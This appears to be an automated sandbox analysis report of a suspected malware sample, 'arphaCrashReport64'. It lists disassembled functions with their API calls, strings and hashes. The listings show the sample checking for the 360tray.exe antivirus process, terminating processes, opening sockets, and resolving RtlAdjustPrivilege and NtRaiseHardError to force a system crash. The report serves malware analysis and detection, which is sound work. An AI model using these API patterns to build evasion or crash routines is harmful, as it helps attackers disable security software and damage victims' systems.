nan(snan), xrefs: 00007FF600178599
NAN, xrefs: 00007FF600178556
nan(ind), xrefs: 00007FF6001785BE
NAN(SNAN), xrefs: 00007FF60017858E
nan, xrefs: 00007FF60017855D
NAN(IND), xrefs: 00007FF6001785A4

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 6244dfc220e43207033ba98a0b75a8b0f72335050adab1bc5d1091457c629230
Instruction ID: 17251f1b479b3d02949e22c2020eb5b5b61ee827132928530a91e7f1fa11ac61
Opcode Fuzzy Hash: 6244dfc220e43207033ba98a0b75a8b0f72335050adab1bc5d1091457c629230
Instruction Fuzzy Hash: 2D418E32B09B41AAE710CFA5E8507AD33B5FB58384F604576EA9C87B99EE3CD525C340

Function 0000021497F22CF0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000021497F22D0C
GetProcAddress.KERNEL32 ref: 0000021497F22D24
GetProcAddress.KERNEL32 ref: 0000021497F22D37
GetProcAddress.KERNEL32 ref: 0000021497F22D47
FreeLibrary.KERNEL32 ref: 0000021497F22D85

Part of subcall function 0000021497F22BA0: LoadLibraryA.KERNEL32 ref: 0000021497F22BD6
Part of subcall function 0000021497F22BA0: GetProcAddress.KERNEL32 ref: 0000021497F22BEE
Part of subcall function 0000021497F22BA0: GetProcAddress.KERNEL32 ref: 0000021497F22C01
Part of subcall function 0000021497F22BA0: GetProcAddress.KERNEL32 ref: 0000021497F22C16
Part of subcall function 0000021497F22BA0: GetProcAddress.KERNEL32 ref: 0000021497F22C29
Part of subcall function 0000021497F22BA0: LoadLibraryA.KERNEL32 ref: 0000021497F22C39
Part of subcall function 0000021497F22BA0: GetProcAddress.KERNEL32 ref: 0000021497F22C51
Part of subcall function 0000021497F22BA0: FreeLibrary.KERNEL32 ref: 0000021497F22CA9
Part of subcall function 0000021497F22BA0: FreeLibrary.KERNEL32 ref: 0000021497F22CB7

Strings

OpenDesktopA, xrefs: 0000021497F22D2D
user32.dll, xrefs: 0000021497F22D05
CloseDesktop, xrefs: 0000021497F22D3D
OpenInputDesktop, xrefs: 0000021497F22D1A

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$OpenDesktopA$OpenInputDesktop$user32.dll
API String ID: 2449869053-3711086354
Opcode ID: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction ID: a3c7f11d50d72a608df95161f871d8854d2d32e5a547620c79d1c33bc9148e01
Opcode Fuzzy Hash: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction Fuzzy Hash: 7E115631355B4183EE44FB16A86C6AA63A0BB59FC2F440425EE4E57B5DEF3CC5468B04

Function 0000021497F3C5D0 Relevance: 15.3, APIs: 10, Instructions: 253COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 0000021497F3C6F7

Part of subcall function 0000021497F39FFC: GetLastError.KERNEL32 ref: 0000021497F3A060
Part of subcall function 0000021497F39FFC: free.LIBCMT ref: 0000021497F3A0DE

free.LIBCMT ref: 0000021497F3C8BF
free.LIBCMT ref: 0000021497F3C8CF
free.LIBCMT ref: 0000021497F3C8DF
free.LIBCMT ref: 0000021497F3C8EB
free.LIBCMT ref: 0000021497F3C940
free.LIBCMT ref: 0000021497F3C948
free.LIBCMT ref: 0000021497F3C950
free.LIBCMT ref: 0000021497F3C958
free.LIBCMT ref: 0000021497F3C962

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorInfoLast
String ID:
API String ID: 189849726-0
Opcode ID: ed597548c62d6f293f89439e5fe85e9590073bf69dc433b741745838140ad289
Instruction ID: 93c6d7cb8f9227dabcfeca624cf8ff2bb2b18989927cd695aa3756a890c0f846
Opcode Fuzzy Hash: ed597548c62d6f293f89439e5fe85e9590073bf69dc433b741745838140ad289
Instruction Fuzzy Hash: 0EB1D03230568086E711EF26E068BEE77A4F758BC6F854529EA8D977D9EF39C501CB00

Function 0000021497F3F104 Relevance: 15.2, APIs: 10, Instructions: 250COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3F4AE), ref: 0000021497F3F1F7
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3F4AE), ref: 0000021497F3F276
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3F4AE), ref: 0000021497F3F31D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000021497F3F4AE), ref: 0000021497F3F343

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 1842b7b9aeb76f450a757d8ddac4bd04b4d2bf37fa62d8c5c4ecf23dbc8fb625
Instruction ID: 1983fc783fc959803bcec349b29c644804bba96197e9cb78c3bfe276ca1df99a
Opcode Fuzzy Hash: 1842b7b9aeb76f450a757d8ddac4bd04b4d2bf37fa62d8c5c4ecf23dbc8fb625
Instruction Fuzzy Hash: 40A1D03270468096FB20BF25E828FEB66D2A7617E6F544E56EA5D677CCDB34C844CB00

Function 0000021497F3A690 Relevance: 15.2, APIs: 10, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,0000021497F3A9CD), ref: 0000021497F3A72A
malloc.LIBCMT ref: 0000021497F3A793
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,0000021497F3A9CD), ref: 0000021497F3A7C7
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0000021497F3A9CD), ref: 0000021497F3A7EE
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0000021497F3A9CD), ref: 0000021497F3A836
malloc.LIBCMT ref: 0000021497F3A893

Part of subcall function 0000021497F35728: _FF_MSGBANNER.LIBCMT ref: 0000021497F35758
Part of subcall function 0000021497F35728: RtlAllocateHeap.NTDLL ref: 0000021497F3577D
Part of subcall function 0000021497F35728: _callnewh.LIBCMT ref: 0000021497F35796
Part of subcall function 0000021497F35728: _errno.LIBCMT ref: 0000021497F357A1
Part of subcall function 0000021497F35728: _errno.LIBCMT ref: 0000021497F357AC

LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0000021497F3A9CD), ref: 0000021497F3A8C8
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,0000021497F3A9CD), ref: 0000021497F3A908
free.LIBCMT ref: 0000021497F3A91C
free.LIBCMT ref: 0000021497F3A92D

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharMultiStringWide$_errnofreemalloc$AllocateHeap_callnewh
String ID:
API String ID: 1390791636-0
Opcode ID: 439ca01c0b534294e515a0b1220c20a2ada1fbbfb490736fa7cba21e11b63feb
Instruction ID: 0a7caabfb49ad7279ca23802ba918a133ebe01ef6612936e0798c0b72823a706
Opcode Fuzzy Hash: 439ca01c0b534294e515a0b1220c20a2ada1fbbfb490736fa7cba21e11b63feb
Instruction Fuzzy Hash: 6D81063230178086EB20AF26D869BDB73E5F7687E6F140A15EA5D63BDCDB39C5018B00

Function 0000021497F2E280 Relevance: 15.1, APIs: 10, Instructions: 121synchronizationsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F219A0: WSAStartup.WS2_32 ref: 0000021497F21A19
Part of subcall function 0000021497F219A0: CreateEventA.KERNEL32 ref: 0000021497F21A2A

Part of subcall function 0000021497F21BF0: ResetEvent.KERNEL32 ref: 0000021497F21C2D
Part of subcall function 0000021497F21BF0: timeGetTime.WINMM ref: 0000021497F21C3F
Part of subcall function 0000021497F21BF0: socket.WS2_32 ref: 0000021497F21C66

CreateEventA.KERNEL32 ref: 0000021497F2E32E
setsockopt.WS2_32 ref: 0000021497F2E383
CancelIo.KERNEL32 ref: 0000021497F2E38D
closesocket.WS2_32 ref: 0000021497F2E3A1
SetEvent.KERNEL32 ref: 0000021497F2E3AE
WaitForSingleObject.KERNEL32 ref: 0000021497F2E40D
Sleep.KERNEL32 ref: 0000021497F2E418
WaitForSingleObject.KERNEL32 ref: 0000021497F2E42B
WaitForSingleObject.KERNEL32 ref: 0000021497F2E438
Sleep.KERNEL32 ref: 0000021497F2E44E

Part of subcall function 0000021497F21AC0: Sleep.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21ADC
Part of subcall function 0000021497F21AC0: CloseHandle.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21AEB
Part of subcall function 0000021497F21AC0: CloseHandle.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21AFA
Part of subcall function 0000021497F21AC0: CloseHandle.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21B0C
Part of subcall function 0000021497F21AC0: WSACleanup.WS2_32 ref: 0000021497F21B12
Part of subcall function 0000021497F21AC0: VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21B29
Part of subcall function 0000021497F21AC0: VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21B4D
Part of subcall function 0000021497F21AC0: VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21B6F
Part of subcall function 0000021497F21AC0: VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21B9C
Part of subcall function 0000021497F21AC0: VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21BB7
Part of subcall function 0000021497F21AC0: VirtualFree.KERNEL32(?,?,?,0000021497F21AA4), ref: 0000021497F21BD2

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: FreeVirtual$Event$CloseHandleObjectSingleSleepWait$Create$CancelCleanupResetStartupTimeclosesocketsetsockoptsockettime
String ID:
API String ID: 1609788701-0
Opcode ID: 5be1d2db3d2cf4a8f60e120e3a7be8c171a668c2326ee10cb714a65c25129b90
Instruction ID: ad36fc0c4dfb463f5b5768a351952d65206b808b4f62be900d49706c04cca002
Opcode Fuzzy Hash: 5be1d2db3d2cf4a8f60e120e3a7be8c171a668c2326ee10cb714a65c25129b90
Instruction Fuzzy Hash: DA519D32214B8086E720EF35E868BDA77A0F795BA5F100626EB5D53BA9CF38C545CB40

Function 0000021497F2F1D0 Relevance: 15.1, APIs: 10, Instructions: 62sleepprocessstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0000021497F2F1F7
Process32First.KERNEL32 ref: 0000021497F2F225
lstrcmp.KERNEL32 ref: 0000021497F2F238
OpenProcess.KERNEL32 ref: 0000021497F2F24C
TerminateProcess.KERNEL32 ref: 0000021497F2F25F
CloseHandle.KERNEL32 ref: 0000021497F2F268
Process32Next.KERNEL32 ref: 0000021497F2F276
Sleep.KERNEL32 ref: 0000021497F2F285
CloseHandle.KERNEL32 ref: 0000021497F2F28E
CloseHandle.KERNEL32 ref: 0000021497F2F2C5

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CloseHandle$ProcessProcess32$CreateFirstNextOpenSleepSnapshotTerminateToolhelp32lstrcmp
String ID:
API String ID: 3983807665-0
Opcode ID: 9a4ad9ec79557f838d5c850d1e15d38df011c5af4594aac11a6b4254f04b6826
Instruction ID: e90a366b9ce3080664ef35336bb9065ddc3b7741baf622fd5bf7291075a2245e
Opcode Fuzzy Hash: 9a4ad9ec79557f838d5c850d1e15d38df011c5af4594aac11a6b4254f04b6826
Instruction Fuzzy Hash: 13213035214A4082FA20EB25E86CBEB63A1FBA9BD6F444914DA5E5779CDF3CC0459B04

Function 0000021497F3902C Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 0000021497F3904D

Part of subcall function 0000021497F3537C: Sleep.KERNEL32(?,?,ceil,0000021497F34907,?,?,?,0000021497F33209,?,?,?,?,0000021497F43CCA), ref: 0000021497F353C1

GetFileType.KERNEL32 ref: 0000021497F391B8
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 0000021497F391F6

Strings

@, xrefs: 0000021497F392B1

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: CountCriticalFileInfoInitializeSectionSleepSpinStartupType
String ID: @
API String ID: 3473179607-2766056989
Opcode ID: 4ef9daa8ef8e328afaa7914443f25a4f1d3113b308b25f51eb380e23cebb4cf6
Instruction ID: cae82e7251aafdb02b268e8cbd470a2376bd9b711f5d1b0d269513f24543694a
Opcode Fuzzy Hash: 4ef9daa8ef8e328afaa7914443f25a4f1d3113b308b25f51eb380e23cebb4cf6
Instruction Fuzzy Hash: 2E81B272200B8586EB14EF25D86CB9A37A0F764BB9F544B28CA7E633D9DB38C455C700

Function 0000021497F35128 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

_lock.LIBCMT ref: 0000021497F35151

Part of subcall function 0000021497F39B98: _amsg_exit.LIBCMT ref: 0000021497F39BC2

RtlDecodePointer.NTDLL ref: 0000021497F35184
RtlDecodePointer.NTDLL ref: 0000021497F351A2
RtlDecodePointer.NTDLL ref: 0000021497F351E2
RtlDecodePointer.NTDLL ref: 0000021497F351FC
RtlDecodePointer.NTDLL ref: 0000021497F3520C
ExitProcess.KERNEL32 ref: 0000021497F35298

Strings

ceil, xrefs: 0000021497F35138

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: DecodePointer$ExitProcess_amsg_exit_lock
String ID: ceil
API String ID: 3411037476-3069211559
Opcode ID: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction ID: 15949de21864ca8b767483fcc0d4a20242dd2a364e16a92a8b38de606d47f041
Opcode Fuzzy Hash: e2e3b51d05ac2f4ea72abadf658c529adedca980e58158798a595591db0a13ac
Instruction Fuzzy Hash: B141B43121174581FA40FF25F86CBAB6294F7A8BD6F540825D98DA77ADEF38C455CB00

Function 0000021497F22AC0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 59stringprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0000021497F22AD6

Part of subcall function 0000021497F33290: malloc.LIBCMT ref: 0000021497F332AA

Process32First.KERNEL32 ref: 0000021497F22B0D
lstrcmpi.KERNEL32 ref: 0000021497F22B27
Process32Next.KERNEL32 ref: 0000021497F22B37
lstrcmpi.KERNEL32 ref: 0000021497F22B4C
Process32Next.KERNEL32 ref: 0000021497F22B5C
CloseHandle.KERNEL32 ref: 0000021497F22B73

Strings

360tray.exe, xrefs: 0000021497F22B17, 0000021497F22B41

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Process32$Nextlstrcmpi$CloseCreateFirstHandleSnapshotToolhelp32malloc
String ID: 360tray.exe
API String ID: 2114354-563812762
Opcode ID: 0a80cdac67bdaee33adcad855c3420713f87a426b057a216acdd1655a8540214
Instruction ID: b191b2ff97fadab5a2d1c5d236a93271be8eebb4f05271274be2e10bfb75f9e5
Opcode Fuzzy Hash: 0a80cdac67bdaee33adcad855c3420713f87a426b057a216acdd1655a8540214
Instruction Fuzzy Hash: 0A21213131464182FF54EF2AA86CA9B63A0B768FC1F595821DE4E6779CDF38C545CB04

Function 0000021497F22F20 Relevance: 13.6, APIs: 9, Instructions: 99threadCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 0000021497F22F37
GetWindowThreadProcessId.USER32 ref: 0000021497F22F63
GetCurrentProcessId.KERNEL32 ref: 0000021497F22F6B
GetCurrentThreadId.KERNEL32 ref: 0000021497F22F77
GetWindowTextA.USER32 ref: 0000021497F22F8D
InternalGetWindowText.USER32 ref: 0000021497F22FD6
WideCharToMultiByte.KERNEL32 ref: 0000021497F22FFA
WideCharToMultiByte.KERNEL32 ref: 0000021497F23021
GetWindowTextA.USER32 ref: 0000021497F2306C

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Window$Text$ByteCharCurrentMultiProcessThreadWide$Internal
String ID:
API String ID: 3111847906-0
Opcode ID: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction ID: 2e310b4f3c8bb0997574239d35dc2ebbf71cffab5b489c94a10aa6de70640046
Opcode Fuzzy Hash: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction Fuzzy Hash: D731B37274874087F710FB26B82CA9B6291BB94BE6F480524EF5E57BA8DF38C4459F04

Function 00007FF60016BC60 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60016BF4D

Strings

http://, xrefs: 00007FF60016BDD8
https://, xrefs: 00007FF60016BDFC

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: http://$https://
API String ID: 3668304517-1916535328
Opcode ID: 032175703d403af43845841e7270c54589e151d9aabe520c8013fad0eb530d90
Instruction ID: 901fba34b95178096350a98cf520f51a9b2d9456d1d0c8992676cb17301ea909
Opcode Fuzzy Hash: 032175703d403af43845841e7270c54589e151d9aabe520c8013fad0eb530d90
Instruction Fuzzy Hash: 7661B172B08A4292EE14CFA9E9842A963A1EF44B94F684175DF6DC779DDF3DE480C300

Function 00007FF600162A60 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF600162A92
GetProcAddress.KERNEL32 ref: 00007FF600162AA7
GetModuleHandleW.KERNEL32 ref: 00007FF600162B25
GetProcAddress.KERNEL32 ref: 00007FF600162B3A

Strings

RegDeleteKeyExW, xrefs: 00007FF600162B30
RegDeleteKeyTransactedW, xrefs: 00007FF600162A9D
Advapi32.dll, xrefs: 00007FF600162A8B, 00007FF600162B1E

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Advapi32.dll$RegDeleteKeyExW$RegDeleteKeyTransactedW
API String ID: 1646373207-1053001802
Opcode ID: 20089e5d2971f2188681404f846e6fbac90836ded4d1cbbc1ea064e876e7ab19
Instruction ID: b87d3a441133af30e9c2acf6424c1470bf7cfc2eddf8e02ec4d3cfa1608f9022
Opcode Fuzzy Hash: 20089e5d2971f2188681404f846e6fbac90836ded4d1cbbc1ea064e876e7ab19
Instruction Fuzzy Hash: 9F313C35B0CA92A1EB118B85E81432967A0FB49BC8F7844B5DE5C877ACDF7CE595C700

Function 0000021497F2E723 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000021497F2E72A
GetProcAddress.KERNEL32 ref: 0000021497F2E73A
GetModuleHandleA.KERNEL32 ref: 0000021497F2E74A
GetProcAddress.KERNEL32 ref: 0000021497F2E75A

Strings

ntdll.dll, xrefs: 0000021497F2E723, 0000021497F2E740
RtlAdjustPrivilege, xrefs: 0000021497F2E730
NtRaiseHardError, xrefs: 0000021497F2E750

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtRaiseHardError$RtlAdjustPrivilege$ntdll.dll
API String ID: 1646373207-3189222469
Opcode ID: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction ID: e01d8ff914715a4bcc70061b8a7284100c0e044c70bdd159dd39c695d8a13051
Opcode Fuzzy Hash: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction Fuzzy Hash: CF011D31660A4683EB10EBA5F46CEDA6361FBA87DAF441411DA4D17728DE78C149CF04

Function 0000021497F31D10 Relevance: 12.1, APIs: 8, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,0000021497F2E182), ref: 0000021497F31D50
VirtualAlloc.KERNEL32(?,?,?,0000021497F2E182), ref: 0000021497F31D6D

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 21959852741109b5e7747a37437c39210fff53e0e4c1cda0704ecbb69bd8df48
Instruction ID: ca73f391834ca2b37adf26cb2d37a552d6bf67e0ab277bd3f09220af7a2e8da8
Opcode Fuzzy Hash: 21959852741109b5e7747a37437c39210fff53e0e4c1cda0704ecbb69bd8df48
Instruction Fuzzy Hash: 64517D32311B4087EB54EB22E968BAA33A1FB99BC2F084925DE4D57B5CDF39D451CB40

Function 0000021497F39AB0 Relevance: 12.1, APIs: 8, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 0000021497F39AD7

Part of subcall function 0000021497F3A4A4: _set_error_mode.LIBCMT ref: 0000021497F3A4AD
Part of subcall function 0000021497F3A4A4: _set_error_mode.LIBCMT ref: 0000021497F3A4BC

Part of subcall function 0000021497F3A244: _set_error_mode.LIBCMT ref: 0000021497F3A289
Part of subcall function 0000021497F3A244: _set_error_mode.LIBCMT ref: 0000021497F3A29A
Part of subcall function 0000021497F3A244: GetModuleFileNameW.KERNEL32 ref: 0000021497F3A2FC

Part of subcall function 0000021497F34F94: ExitProcess.KERNEL32 ref: 0000021497F34FA3

Part of subcall function 0000021497F352FC: malloc.LIBCMT ref: 0000021497F35327
Part of subcall function 0000021497F352FC: Sleep.KERNEL32(?,?,ceil,0000021497F39B11,?,?,?,0000021497F39BBB,?,?,00000000,0000021497F34875,?,?,00000000,0000021497F3492C), ref: 0000021497F3533A

_errno.LIBCMT ref: 0000021497F39B19
_lock.LIBCMT ref: 0000021497F39B2D
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,0000021497F39BBB,?,?,00000000,0000021497F34875,?,?,00000000,0000021497F3492C,?,?,?,0000021497F33209), ref: 0000021497F39B43
free.LIBCMT ref: 0000021497F39B50
_errno.LIBCMT ref: 0000021497F39B55
RtlLeaveCriticalSection.NTDLL ref: 0000021497F39B78

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

